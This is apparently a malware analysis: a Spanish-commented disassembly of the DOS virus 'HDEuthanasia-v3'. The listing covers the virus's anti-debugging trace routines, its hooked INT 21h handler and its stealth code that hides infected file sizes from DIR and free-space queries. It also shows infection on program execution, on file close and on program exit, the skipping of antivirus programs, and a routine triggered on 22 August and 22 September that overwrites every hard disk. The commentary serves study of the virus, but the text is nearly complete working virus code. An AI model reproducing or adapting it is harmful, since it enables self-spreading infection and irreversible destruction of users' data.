En AH el valor en :0191. Si                                                      Ω; viene de :196A, será el valor                                                     Ω; 0                                    ∩0DA6:0217 9C            PUSHF                Ω; Emula una instrucción INT con       ∩0DA6:0218 FF1E7E01      CALL    FAR [017E]   Ω; el puntero que haya en esa di-                                                   Ω; rección                              ∩0DA6:021C 9C            PUSHF                Ω; Quita el Trap Flag                  ∩0DA6:021D 58            POP     AX                                                  ∩0DA6:021E 25FFFE        AND     AX,FEFF                                             ∩0DA6:0221 50            PUSH    AX                                                  ∩0DA6:0222 9D            POPF                                                        ∩0DA6:0223 C5167A01      LDS     DX,[017A]    Ω; Vuelve a recuperar la int 01        ∩0DA6:0227 B80125        MOV     AX,2501      Ω; original                            ∩0DA6:022A CD21          INT     21                                                  ∩0DA6:022C 0E            PUSH    CS                                                  ∩0DA6:022D 0E            PUSH    CS                                                  ∩0DA6:022E 07            POP     ES           Ω; ES = CS                             ∩0DA6:022F 1F            POP     DS           Ω; DS = CS                             ∩0DA6:0230 C3            RET                  Ω; Retorna                                                                                                                  ε;;; Rutina para comprobar si durante el trazado de la interrupción hay algún        ε;;; PUSHF o POPF que pueda modificar las banderas y desconectar el Trap Flag.                                                                                            ∩0DA6:0231 50            PUSH    AX           Ω; Guarda AX, que contiene el seg-                                                  Ω; mento del código en ejecución        ∩0DA6:0232 8ED8          MOV     DS,AX        Ω; Lo mete en DS                       ∩0DA6:0234 8A07          MOV     AL,[BX]      Ω; Coge en AL el opcode de la ins-                                                  Ω; trucción                             ∩0DA6:0236 3C9D          CMP     AL,9D        Ω; Mira si es POPF                     ∩0DA6:0238 7508          JNZ     0242         Ω; Si no es, salta                     ∩0DA6:023A 814E0C0001    OR      WORD PTR [BP+0C],0100 Ω; Pone el Trap Flag a 1                                                   Ω; por si acaso lo ha modificado        ∩0DA6:023F EB0E          JMP     024F         Ω; Salta al final                      ∩0DA6:0241 90            NOP                                                         ∩0DA6:0242 3C9C          CMP     AL,9C        Ω; Comprueba si es PUSHF               ∩0DA6:0244 7509          JNZ     024F         Ω; Si no es, salta                     ∩0DA6:0246 FF4608        INC     WORD PTR [BP+08] Ω; Incrementa el puntero para                                                   Ω; saltarse la instrucción              ∩0DA6:0249 2E            CS:                  Ω; Pone un byte de control a 1 pa-     ∩0DA6:024A C606850101    MOV     BYTE PTR [0185],01 Ω; ra indicar que se ha sal-                                                  Ω; tado la instrucción                  ∩0DA6:024F 58            POP     AX           Ω; Saca AX guardado                    ∩0DA6:0250 C3            RET                  Ω; Retorna                                                                                                                  ε;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;      ε;;;; E F E C T O    D E S T R U C T I V O                                  ;;;      ε;;;; ------------------------------------                                  ;;;      ε;;;; Esta rutina es llamada sólamente desde el BOOT. Coge el formato del   ;;;      ε;;;; disco duro y empieza a escribir datos aleatorios (no le importa lo    ;;;      ε;;;; sea escrito, puesto que no pone dirección de buffer, así que BX coge  ;;;      ε;;;; lo que tenga en ese momento) por todo el disco duro, destruyéndolo    ;;;      ε;;;; por completo y borrando todos los datos. Esto es aún más destructivo  ;;;      ε;;;; que un formateo, puesto que hay utilidades que pueden recuperar un    ;;;      ε;;;; formateo accidental, pero aquí lo sobreescribe todo y así seguro que  ;;;      ε;;;; no se recupera.                                                       ;;;      ε;;;; Se activa los días 22 de Agosto y Septiembre. Para más coña, te borra ;;;      ε;;;; la pantalla y te muestra el mensaje:                                  ;;;      ε;;;; HDEuthanasia-v3" by Demon Emperor: Hare Krsna, hare, hare...          ;;;      ε;;;; mientras te "mata" el disco duro.                                     ;;;      ε;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;                                                                                           ∩0DA6:0251 B404          MOV     AH,04        Ω; Obtiene la fecha del sistema en     ∩0DA6:0253 CD1A          INT     1A           Ω; CX y DX                             ∩0DA6:0255 F6C608        TEST    DH,08        Ω; Mira si es agosto o septiembre      ∩0DA6:0258 7405          JZ      025F         Ω; Si no es, acaba                     ∩0DA6:025A 80FA22        CMP     DL,22        Ω; Comprueba si es el día 22 (en                                                    Ω; decimal. Esta es una función en                                                   Ω; la que en los registros hay que                                                   Ω; poner los datos en decimal, o                                                     Ω; sea, el primer número en el pri-                                                  Ω; mer nibble, y el segundo en el                                                    Ω; otro nibble. Por ejemplo, el día                                                  Ω; 15 no sería el día 0Fh en esta                                                    Ω; función, sino el 15h).               ∩0DA6:025D 7401          JZ      0260         Ω; Si es el día 22, continúa           ∩0DA6:025F C3            RET                  Ω; Retorna                             ∩0DA6:0260 B80300        MOV     AX,0003      Ω; Pone modo texto (de paso, borra     ∩0DA6:0263 CD10          INT     10           Ω; la pantalla)                        ∩0DA6:0265 BE2D1E        MOV     SI,1E2D      Ω; En SI la dirección del mensaje                                                   Ω; del virus                            ∩0DA6:0268 B700          MOV     BH,00        Ω; En BH el número de pantalla don-                                                 Ω; de se quiere escribir el carac-                                                   Ω; ter                                  ∩0DA6:026A B93D00        MOV     CX,003D      Ω; Escribe 61 caracteres               ∩0DA6:026D AC            LODSB                Ω; Carga un caracter                   ∩0DA6:026E B40E          MOV     AH,0E        Ω; Lo saca a pantalla con la fun-      ∩0DA6:0270 CD10          INT     10           Ω; ción 0Eh de la int 10h              ∩0DA6:0272 E2F9          LOOP    026D         Ω; Lo hace 61 veces                    ∩0DA6:0274 B280          MOV     DL,80        Ω; En DL el código del disco duro      ∩0DA6:0276 8AFA          MOV     BH,DL        Ω; BH = 80h                            ∩0DA6:0278 80F201        XOR     DL,01        Ω; DL = 81h cuando era 80h, y vice-                                                 Ω; versa                                ∩0DA6:027B B408          MOV     AH,08        Ω; Obtiene el formato del disco du-    ∩0DA6:027D CD13          INT     13           Ω; ro en DL                            ∩0DA6:027F 80E13F        AND     CL,3F        Ω; Anula los 6 bits superiores de                                                   Ω; CL                                   ∩0DA6:0282 8AC1          MOV     AL,CL        Ω; Lo pone en AL                       ∩0DA6:0284 B403          MOV     AH,03        Ω; Pone en AH el valor 3 (escritu-                                                  Ω; ra)                                  ∩0DA6:0286 50            PUSH    AX           Ω; Guarda AX                           ∩0DA6:0287 8AD7          MOV     DL,BH        Ω; DL = unidad anterior                ∩0DA6:0289 B408          MOV     AH,08        Ω; Obtiene el formato de esta tam-     ∩0DA6:028B CD13          INT     13           Ω; bién                                ∩0DA6:028D 80E13F        AND     CL,3F        Ω; Le anula a CL los 6 bits supe-                                                   Ω; riores                               ∩0DA6:0290 8AC1          MOV     AL,CL        Ω; Los mete en AL                      ∩0DA6:0292 B403          MOV     AH,03        Ω; AH = 03 (función de escritura)      ∩0DA6:0294 8AD7          MOV     DL,BH        Ω; DL = unidad anterior                ∩0DA6:0296 B90101        MOV     CX,0101      Ω; Escribe en el sector 1 del ci-                                                   Ω; lindro 1                             ∩0DA6:0299 50            PUSH    AX           Ω; Guarda AX                           ∩0DA6:029A 8BEC          MOV     BP,SP        Ω; BP = SP, que si no me equivoco                                                   Ω; será igual a 7C00h                   ∩0DA6:029C 52            PUSH    DX           Ω; Guarda DX                           ∩0DA6:029D F6C201        TEST    DL,01        Ω; Comprueba si DL es 80h o 81h        ∩0DA6:02A0 7505          JNZ     02A7         Ω; Si es 81h, salta                    ∩0DA6:02A2 8B4600        MOV     AX,[BP+00]   Ω; Coge en AX el primer valor que                                                   Ω; guardó en el stack                   ∩0DA6:02A5 EB03          JMP     02AA         Ω; Salta                               ∩0DA6:02A7 8B4602        MOV     AX,[BP+02]   Ω; Coge en AX el segundo valor que                                                  Ω; guardó                               ∩0DA6:02AA CD13          INT     13           Ω; Salta                               ∩0DA6:02AC 80F201        XOR     DL,01        Ω; Si DL era 81h, ahora es 80h y                                                    Ω; viceversa                            ∩0DA6:02AF FECE          DEC     DH           Ω; Decrementa DH (que es el número                                                  Ω; de cabezal)                          ∩0DA6:02B1 75EA          JNZ     029D         Ω; Si no es 0, salta y vuelve a es-                                                 Ω; cribir                               ∩0DA6:02B3 5A            POP     DX           Ω; Saca DX                             ∩0DA6:02B4 FEC5          INC     CH           Ω; Incrementa el número de cilindro    ∩0DA6:02B6 75E4          JNZ     029C         Ω; Si no es 0, salta a :029C           ∩0DA6:02B8 80C140        ADD     CL,40        Ω; Suma 40h a CL                       ∩0DA6:02BB 73DF          JNB     029C         Ω; Si no se pasa, salta a :029C        ∩0DA6:02BD 80C202        ADD     DL,02        Ω; Suma 2 al número de unidad          ∩0DA6:02C0 83C404        ADD     SP,+04       Ω; Suma 4 al SP para no sobreescri-                                                 Ω; bir los datos anteriores guarda-                                                  Ω; dos                                  ∩0DA6:02C3 EBB1          JMP     0276         Ω; Salta a :0276 y hace un LOOP in-                                                 Ω; finito que acaba por destruir el                                                  Ω; disco duro                                                                                                                ε;;;;; Emulación de la instrucción INT 21h                                                                                                                                ∩0DA6:02C5 9C            PUSHF                                                       ∩0DA6:02C6 2E            CS:                                                         ∩0DA6:02C7 FF1E6001      CALL    FAR [0160]                                          ∩0DA6:02CB C3            RET                                                                                                                                              ε;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;      ε;;;;;;                                                                   ;;;;;      ε;;;;;;  NUEVA  INTERRUPCION  21h                                         ;;;;;      ε;;;;;;                                                                   ;;;;;      ε;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;      ε;;; Su entrada inicial es en la dirección :0388, pero el programa de la inte-       ε;;; rrupción empieza aquí                                                                                                                                                                                               Ω; Aquí si es la función de ob-                                                      Ω; tención del espacio libre del                                                     Ω; disco (AH = 36h)                   ∩0DA6:02CC 53            PUSH    BX              Ω; Guarda BX y AX                   ∩0DA6:02CD 50            PUSH    AX                                                  ∩0DA6:02CE B462          MOV     AH,62           Ω; Obtiene en BX la dirección       ∩0DA6:02D0 E8F2FF        CALL    02C5            Ω; de segmento del PSP del pro-                                                     Ω; grama actualmente en ejecu-                                                       Ω; ción                              ∩0DA6:02D3 58            POP     AX              Ω; Saca AX                          ∩0DA6:02D4 2E            CS:                     Ω; Comprueba si es el PSP que       ∩0DA6:02D5 391E8D01      CMP     [018D],BX       Ω; tenía guardado ya ahí en                                                         Ω; [018D]                            ∩0DA6:02D9 7514          JNZ     02EF            Ω; Si no es, salta                  ∩0DA6:02DB 2E            CS:                     Ω; Comprueba si se intenta acce-    ∩0DA6:02DC 38169101      CMP     [0191],DL       Ω; der al mismo dispositivo         ∩0DA6:02E0 750D          JNZ     02EF            Ω; Si no es el mismo, salta y                                                       Ω; continúa                          ∩0DA6:02E2 5B            POP     BX              Ω; Saca BX y las banderas           ∩0DA6:02E3 9D            POPF                                                        ∩0DA6:02E4 E8DEFF        CALL    02C5            Ω; Resuelve la interrupción         ∩0DA6:02E7 2E            CS:                                                         ∩0DA6:02E8 8B1E8F01      MOV     BX,[018F]       Ω; Pone en el número de clusters                                                    Ω; libres el número que tiene                                                        Ω; guardado en [018F]                ∩0DA6:02EC CA0200        RETF    0002            Ω; Retorno de interrupción                                                         Ω; Aquí si los valores con los                                                       Ω; que se llama a la función son                                                     Ω; nuevos                             ∩0DA6:02EF 2E            CS:                     Ω; Guarda en [018D] el PSP del      ∩0DA6:02F0 891E8D01      MOV     [018D],BX       Ω; programa que se está ejecu-                                                      Ω; tando                             ∩0DA6:02F4 2E            CS:                     Ω; Guarda el dispositivo en         ∩0DA6:02F5 88169101      MOV     [0191],DL       Ω; [0191]                           ∩0DA6:02F9 5B            POP     BX              Ω; Saca BX y las banderas           ∩0DA6:02FA 9D            POPF                                                        ∩0DA6:02FB E8C7FF        CALL    02C5            Ω; Int 21h                          ∩0DA6:02FE 2E            CS:                     Ω; Pone el número de clusters       ∩0DA6:02FF 891E8F01      MOV     [018F],BX       Ω; del disco libres en [018F]       ∩0DA6:0303 CA0200        RETF    0002            Ω; Retorno de interrupción                                                                                                                                      Ω; Aquí desde :037E                           ∩0DA6:0306 2E            CS:             Ω; Llama a la int 21h sin trazar, utili-    ∩0DA6:0307 FF1E6401      CALL    FAR [0164] Ω; zando el PUSHF que hizo al princi-                                               Ω; pio de la interrupción                 ∩0DA6:030B 9C            PUSHF           Ω; Guarda banderas                          ∩0DA6:030C 50            PUSH    AX      Ω; Guarda AX, BX y ES                       ∩0DA6:030D 53            PUSH    BX                                                  ∩0DA6:030E 06            PUSH    ES                                                  ∩0DA6:030F 2E            CS:             Ω; Mira si se está ejecutando el CHKDSK     ∩0DA6:0310 F6068C0102    TEST    BYTE PTR [018C],02                                  ∩0DA6:0315 755B          JNZ     0372    Ω; Si está, salta y acaba                   ∩0DA6:0317 0AC0          OR      AL,AL   Ω; Si AL no es 0, acaba (en una función                                             Ω; 11h o 12h, si al llamar a la función                                              Ω; AL devuelve FFh, hay error                ∩0DA6:0319 7557          JNZ     0372    Ω; Por tanto, si no es 0, acaba             ∩0DA6:031B B42F          MOV     AH,2F   Ω; Obtiene en ES:BX la dirección del DTA    ∩0DA6:031D E8A5FF        CALL    02C5                                                ∩0DA6:0320 2E            CS:             Ω; Comprueba si el valor en [0380] es       ∩0DA6:0321 803E800340    CMP     BYTE PTR [0380],40 Ω; mayor que 40h                 ∩0DA6:0326 7726          JA      034E    Ω; Si es mayor, salta a :034E               ∩0DA6:0328 26            ES:             Ω; En esta dirección se encuentra el ta-    ∩0DA6:0329 834F2600      OR      WORD PTR [BX+26],+00 Ω; maño del archivo que se                                                          Ω; ha obtenido al llamar a                                                           Ω; la función                   ∩0DA6:032D 7508          JNZ     0337    Ω; Si no está a 0, salta y continúa         ∩0DA6:032F 26            ES:             Ω; Comprueba si el word en +24h tiene       ∩0DA6:0330 817F249C1E    CMP     WORD PTR [BX+24],1E9C Ω; un tamaño mínimo de                                                Ω; archivo de 7835 bytes                     ∩0DA6:0335 723B          JB      0372    Ω; Si es menor, salta y acaba                                                      Ω; Aquí desde :032D                           ∩0DA6:0337 26            ES:             Ω; Coge en AX la hora del archivo           ∩0DA6:0338 8B471E        MOV     AX,[BX+1E]                                          ∩0DA6:033B 241F          AND     AL,1F   Ω; Deja en AL los segundos                  ∩0DA6:033D 3C11          CMP     AL,11   Ω; Mira si son 34                           ∩0DA6:033F 7531          JNZ     0372    Ω; Si no son, acaba                         ∩0DA6:0341 26            ES:             Ω; Resta 7855 bytes al archivo              ∩0DA6:0342 816F24B01E    SUB     WORD PTR [BX+24],1EB0                               ∩0DA6:0347 26            ES:             Ω; Resta 1 al word en +26h si hay rebo-     ∩0DA6:0348 835F2600      SBB     WORD PTR [BX+26],+00 Ω; samiento                    ∩0DA6:034C EB24          JMP     0372    Ω; Salta y acaba                                                                   Ω; Aquí si es una función 4Eh o 4Fh           ∩0DA6:034E 26            ES:             Ω; Comprueba si el tamaño del archivo       ∩0DA6:034F 834F1C00      OR      WORD PTR [BX+1C],+00 Ω; es mayor de 65536 bytes     ∩0DA6:0353 7508          JNZ     035D    Ω; Si es mayor, salta y continúa            ∩0DA6:0355 26            ES:             Ω; Comprueba si el tamaño es al menos       ∩0DA6:0356 817F1A9C1E    CMP     WORD PTR [BX+1A],1E9C Ω; 7835 bytes                 ∩0DA6:035B 7215          JB      0372    Ω; Si es menor, salta y acaba               ∩0DA6:035D 26            ES:             Ω; Coge los segundos en AL                  ∩0DA6:035E 8B4716        MOV     AX,[BX+16]                                          ∩0DA6:0361 241F          AND     AL,1F                                               ∩0DA6:0363 3C11          CMP     AL,11   Ω; Comprueba si son 34                      ∩0DA6:0365 750B          JNZ     0372    Ω; Si no son, salta y acaba                 ∩0DA6:0367 26            ES:             Ω; Le resta 7855 bytes al archivo           ∩0DA6:0368 816F1AB01E    SUB     WORD PTR [BX+1A],1EB0                               ∩0DA6:036D 26            ES:             Ω; Le resta 1 al Hi-Word de tamaño si       ∩0DA6:036E 835F1C00      SBB     WORD PTR [BX+1C],+00 Ω; hay rebosamiento            ∩0DA6:0372 07            POP     ES      Ω; Saca lo guardado en el stack             ∩0DA6:0373 5B            POP     BX                                                  ∩0DA6:0374 58            POP     AX                                                  ∩0DA6:0375 9D            POPF            Ω; Saca las banderas                        ∩0DA6:0376 CA0200        RETF    0002    Ω; Retorna                                                                         Ω; Aquí desde :03B0, :03B5, :03BA y                                                  Ω; 03BF si es una función 11h, 12h, 4Eh,                                             Ω; y 4Fh                                      ∩0DA6:0379 2E            CS:            Ω; Pone en [0380] la función que se          ∩0DA6:037A 88268003      MOV     [0380],AH Ω; trata                                  ∩0DA6:037E EB86          JMP     0306     Ω; Salta a 0306                                                                                                                 ∩0DA6:0380 4F            DB      4F      Ω; Aquí pondrá el número de función que                                             Ω; se ejecuta desde :037A si es una fun-                                             Ω; ción 11h, 12h, 4Eh o 4Fh                                                                                                                                                Ω; Aquí si es Install-check                 ∩0DA6:0381 B80D00        MOV     AX,000D   Ω; Pone en AX el valor 000Dh              ∩0DA6:0384 9D            POPF              Ω; Saca las banderas                      ∩0DA6:0385 CA0200        RETF    0002      Ω; Retorna simulando un IRET (POPF+                                                 Ω; +RETF)                                                                                                                       ε;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;                                       ε;;;; Entrada inicial de la interrupción 21h ;                                       ε;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;                                                                                                                            ∩0DA6:0388 9C            PUSHF              Ω; Guarda banderas                       ∩0DA6:0389 3D23FE        CMP     AX,FE23    Ω; Comprueba si AX es FE23h (install                                                Ω; check del virus)                       ∩0DA6:038C 74F3          JZ      0381       Ω; Si es, salta                          ∩0DA6:038E 80FC36        CMP     AH,36      Ω; ¿Es la función de obtener tamaño                                                 Ω; libre del disco indicado?              ∩0DA6:0391 7503          JNZ     0396       Ω; Si lo es, salta a :02CC               ∩0DA6:0393 E936FF        JMP     02CC                                                ∩0DA6:0396 80FC4C        CMP     AH,4C      Ω; ¿Es la función de terminar ejecu-                                                Ω; ción en el programa?                   ∩0DA6:0399 7440          JZ      03DB       Ω; Si lo es, salta a :03DB               ∩0DA6:039B 80FC31        CMP     AH,31      Ω; ¿Es la función de terminar el pro-                                               Ω; grama en ejecución pero dejándolo                                                 Ω; residente en memoria?                  ∩0DA6:039E 743B          JZ      03DB       Ω; Si lo es, salta a :03DB                                                                                                    ∩0DA6:03A0 80FC00        CMP     AH,00      Ω; ¿Es la función de terminar progra-                                               Ω; ma antigua?                            ∩0DA6:03A3 7436          JZ      03DB       Ω; Si lo es, salta a :03DB               ∩0DA6:03A5 3D004B        CMP     AX,4B00    Ω; ¿Se trata de ejecutar un progra-                                                 Ω; ma?                                    ∩0DA6:03A8 7503          JNZ     03AD       Ω; Si NO lo es, salta a :03AD y con-                                                Ω; tinúa                                  ∩0DA6:03AA E87900        CALL    0426       Ω; Llama a la rutina de infección de                                                Ω; un ejecutable.                                                                    Ω; En este punto retorna. Podría sal-                                                Ω; tar directamente al final y no                                                    Ω; ejecutar todas las comprobaciones                                                 Ω; que vienen, ya que un JMP aquí                                                    Ω; sólo serían 2 bytes. En unos si-                                                  Ω; tios tanto, y en otros tan poco...     ∩0DA6:03AD 80FC11        CMP     AH,11      Ω; Mira si AH es la función 11h (la                                                 Ω; función que utiliza el comando                                                    Ω; DIR)                                   ∩0DA6:03B0 74C7          JZ      0379       Ω; Si es, salta a :0379                  ∩0DA6:03B2 80FC12        CMP     AH,12      Ω; Comprueba si es la función 12h                                                   Ω; (la siguiente que utiliza DIR)         ∩0DA6:03B5 74C2          JZ      0379       Ω; Si es, salta a :0379                  ∩0DA6:03B7 80FC4E        CMP     AH,4E      Ω; Mira si es la función 4Eh (Busca                                                 Ω; Primera Entrada de Directorio, la                                                 Ω; mejora de la función 11h. Esta es                                                 Ω; por handles, y no por FCBs como la                                                Ω; anterior                               ∩0DA6:03BA 74BD          JZ      0379       Ω; Si es, salta a :0379                  ∩0DA6:03BC 80FC4F        CMP     AH,4F      Ω; Mira si es la función 4Fh (Busca                                                 Ω; Siguiente Entrada de Directorio)       ∩0DA6:03BF 74B8          JZ      0379       Ω; Si es, salta a :0379                  ∩0DA6:03C1 80FC3D        CMP     AH,3D      Ω; Mira si es la función Abrir Handle    ∩0DA6:03C4 7503          JNZ     03C9       Ω; Si no es, salta y continúa            ∩0DA6:03C6 E83C0C        CALL    1005       Ω; Rutina para abrir el handle y de-                                                Ω; sinfectar un EXE si éste es abier-                                                Ω; to. No hace esto con los COMs.         ∩0DA6:03C9 80FC3E        CMP     AH,3E      Ω; Mira si se trata de cerrar un han-                                               Ω; dle                                    ∩0DA6:03CC 7507          JNZ     03D5       Ω; Si no es, salta y acaba con la in-                                               Ω; terrupción                             ∩0DA6:03CE 9D            POPF               Ω; Recupera las banderas                 ∩0DA6:03CF E8700E        CALL    1242       Ω; Rutina para infectar el handle                                                   Ω; abierto si éste es un archivo eje-                                                Ω; cutable EXE o COM                      ∩0DA6:03D2 CA0200        RETF    0002       Ω; Retorna con flags por medio                                                     Ω; Aquí para acabar la interrupción        ∩0DA6:03D5 9D            POPF               Ω; Saca las banderas que guardó al                                                  Ω; principio                              ∩0DA6:03D6 2E            CS:                Ω; Salta a la interrupción original      ∩0DA6:03D7 FF2E6401      JMP     FAR [0164]                                                                                                                               ε;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;      ε;;; INFECCION AL FINALIZAR UN PROGRAMA                                 ;;;;;;;      ε;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;                                                                                                                                     Ω; Aquí si es una función de finalizar                                               Ω; programa                                ∩0DA6:03DB 2E            CS:               Ω; Anula todos los bits en [018C] me-     ∩0DA6:03DC 80268C0104    AND     BYTE PTR [018C],04 Ω; nos el que indica si se                                                          Ω; está en WINDOWS 95             ∩0DA6:03E1 50            PUSH    AX        Ω; Guarda todos los registros que va      ∩0DA6:03E2 53            PUSH    BX        Ω; a usar                                 ∩0DA6:03E3 51            PUSH    CX                                                  ∩0DA6:03E4 52            PUSH    DX                                                  ∩0DA6:03E5 57            PUSH    DI                                                  ∩0DA6:03E6 06            PUSH    ES                                                  ∩0DA6:03E7 1E            PUSH    DS                                                  ∩0DA6:03E8 B462          MOV     AH,62     Ω; Obtiene en BX el segmento del PSP      ∩0DA6:03EA E8D8FE        CALL    02C5      Ω; del programa que se está ejecutando                                              Ω; en estos momentos                       ∩0DA6:03ED 722A          JB      0419      Ω; Si hay error, salta y acaba            ∩0DA6:03EF FC            CLD               Ω; Hacia delante                          ∩0DA6:03F0 8EC3          MOV     ES,BX     Ω; En ES el segmento del PSP              ∩0DA6:03F2 26            ES:               Ω; Coge la dirección de segmento donde    ∩0DA6:03F3 8E062C00      MOV     ES,[002C] Ω; se guarda el Environment-Block (el                                               Ω; lugar donde se meten las variables                                                Ω; SET del sistema)                        ∩0DA6:03F7 33FF          XOR     DI,DI     Ω; DI = 0                                 ∩0DA6:03F9 B000          MOV     AL,00     Ω; AL = 0, que es lo que delimita una                                               Ω; variable de otra                        ∩0DA6:03FB B9FFFF        MOV     CX,FFFF   Ω; CX = FFFFh, un número de repeticio-                                              Ω; nes que no alcanzará (en circuns-                                                 Ω; tancias normales)                       ∩0DA6:03FE F2            REPNZ             Ω; Busca el valor 0 a lo largo de la      ∩0DA6:03FF AE            SCASB             Ω; cadena                                 ∩0DA6:0400 26            ES:               Ω; Comprueba si después del valor 0       ∩0DA6:0401 3805          CMP     [DI],AL   Ω; que ha encontrado hay otro 0, lo                                                 Ω; que indicaría que ha alcanzado el                                                 Ω; final del Environment-Block             ∩0DA6:0403 75F6          JNZ     03FB      Ω; Si no es, vuelve a buscar                                                        Ω; Cuando ha llegado aquí, tiene en                                                  Ω; DI el final del Environment-Block       ∩0DA6:0405 83C703        ADD     DI,+03    Ω; Suma 3 a DI                            ∩0DA6:0408 8BD7          MOV     DX,DI     Ω; Lo mete en DX                          ∩0DA6:040A 06            PUSH    ES        Ω; DS = ES                                ∩0DA6:040B 1F            POP     DS                                                  ∩0DA6:040C B8003D        MOV     AX,3D00   Ω; Abre el archivo cuya cadena se en-     ∩0DA6:040F E8B3FE        CALL    02C5      Ω; cuentra allí, que resulta ser el                                                 Ω; archivo que se está ejecutando aho-                                               Ω; ra.                                     ∩0DA6:0412 7205          JB      0419      Ω; Si hay error, salta y acaba            ∩0DA6:0414 8BD8          MOV     BX,AX     Ω; Pone el handle en AX                   ∩0DA6:0416 E8290E        CALL    1242      Ω; Infecta el handle con la rutina que                                              Ω; tiene para tal efecto. O sea, que                                                 Ω; infecta el archivo que se ha fina-                                                Ω; lizado con las funciones de finali-                                               Ω; zar programa de la int 21h              ∩0DA6:0419 1F            POP     DS        Ω; Saca los registros afectados del       ∩0DA6:041A 07            POP     ES        Ω; stack                                  ∩0DA6:041B 5F            POP     DI                                                  ∩0DA6:041C 5A            POP     DX                                                  ∩0DA6:041D 59            POP     CX                                                  ∩0DA6:041E 5B            POP     BX                                                  ∩0DA6:041F 58            POP     AX                                                  ∩0DA6:0420 9D            POPF                                                        ∩0DA6:0421 2E            CS:               Ω; Salta al programa original de la       ∩0DA6:0422 FF2E6001      JMP     FAR [0160] Ω; interrupción                                                                                                               ε;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;                 ε;;;;;;;;;;;; Infección por ejecución del programa    ;;;;;;;;;;;;;;                 ε;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;                                                                                                      ∩0DA6:0426 50            PUSH    AX       Ω; Guarda todos los registros menos el     ∩0DA6:0427 53            PUSH    BX       Ω; BP en el stack                          ∩0DA6:0428 51            PUSH    CX                                                  ∩0DA6:0429 52            PUSH    DX                                                  ∩0DA6:042A 06            PUSH    ES                                                  ∩0DA6:042B 1E            PUSH    DS                                                  ∩0DA6:042C 57            PUSH    DI                                                  ∩0DA6:042D 56            PUSH    SI                                                  ∩0DA6:042E E89500        CALL    04C6     Ω; Rutina para borrar el archivo                                                    Ω; X:\WINXXX\SYSTEM\IOSUBSYS\HSFLOP.PDR                                              Ω; y machacar con los bytes originales                                               Ω; el JMP FAR que puso al inicio de la                                               Ω; por algún programa en el inicio de                                                Ω; int 13h para parchearla.                 ∩0DA6:0431 E8960D        CALL    11CA     Ω; Rutina para redireccionar la int                                                 Ω; 24h y la int 1Bh a MOV AL,03/IRET                                                 Ω; e IRET, respectivamente                  ∩0DA6:0434 E85402        CALL    068B     Ω; Rutina para guardar los atributos                                                Ω; actuales del archivo en lugar segu-                                               Ω; ro y ponérselos a 0 para poder in-                                                Ω; fectarlo aunque sea de modo Sólo                                                  Ω; Lectura                                  ∩0DA6:0437 E8C402        CALL    06FE     Ω; Rutina para comprobar si el archivo                                              Ω; es un archivo especial, o sea, si                                                 Ω; es un anti-virus, tiene la letra                                                  Ω; 'V' en su nombre o si es CHKDSK          ∩0DA6:043A 9C            PUSHF            Ω; Guarda banderas en el stack             ∩0DA6:043B 1E            PUSH    DS       Ω; Guarda DS                               ∩0DA6:043C 0E            PUSH    CS       Ω; DS = CS                                 ∩0DA6:043D 1F            POP     DS                                                  ∩0DA6:043E BF3B07        MOV     DI,073B  Ω; En DI otra dirección para copiar el     ∩0DA6:0441 BE4807        MOV     SI,0748  Ω; nombre que hay en :0748                 ∩0DA6:0444 83C304        ADD     BX,+04   Ω; Suma a BX 4.                            ∩0DA6:0447 8BCB          MOV     CX,BX    Ω; CX = BX (si no ha ocurrido nada ex-                                              Ω; traño, BX será igual ahora a la lon-                                              Ω; gitud del nombre del archivo dentro                                               Ω; de la cadena)                            ∩0DA6:0449 F3            REPZ             Ω; Copia ese nombre                        ∩0DA6:044A A4            MOVSB                                                       ∩0DA6:044B 1F            POP     DS       Ω; Saca DS y las banderas                  ∩0DA6:044C 9D            POPF                                                        ∩0DA6:044D 7263          JB      04B2     Ω; ¿Es un archivo especial? Si lo es,                                               Ω; salta. Por cierto, podría haber                                                   Ω; saltado a :04B7 y haberse ahorrado                                                Ω; el ejecutar la función 3Eh de la                                                  Ω; interrupción 21h. Dará error y no                                                 Ω; pasará nada, pero pierde velocidad.                                               Ω; Además, podría coincidir BX con el                                                Ω; número de un handle que ya estaba                                                 Ω; abierto, cerrarlo cuando no toca y                                                Ω; hacer un desastre                        ∩0DA6:044F B8023D        MOV     AX,3D02  Ω; Abre el archivo si no es uno espe-      ∩0DA6:0452 E870FE        CALL    02C5     Ω; cial y está todo correcto               ∩0DA6:0455 93            XCHG    BX,AX    Ω; En BX el handle.                                                                 Ω; ¿Y el control de errores, para                                                    Ω; quién? ¿Qué pasaría si aquí diera                                                 Ω; ahora error? No lo contempla.            ∩0DA6:0456 E81002        CALL    0669     Ω; Obtiene la fecha y hora del archivo                                              Ω; y las guarda en dos variables            ∩0DA6:0459 2E            CS:              Ω; Obtiene en AX la hora en formato        ∩0DA6:045A A17E01        MOV     AX,[017E] Ω; empaquetado                            ∩0DA6:045D 241F          AND     AL,1F    Ω; Deja en AL los segundos                 ∩0DA6:045F 50            PUSH    AX       Ω; Guarda AX                               ∩0DA6:0460 B43F          MOV     AH,3F    Ω; En AH la función de lectura             ∩0DA6:0462 B91C00        MOV     CX,001C  Ω; 28 bytes: comunmente, el número de                                               Ω; bytes que se leen de la cabecera de                                               Ω; un EXE                                   ∩0DA6:0465 0E            PUSH    CS       Ω; DS = CS                                 ∩0DA6:0466 1F            POP     DS                                          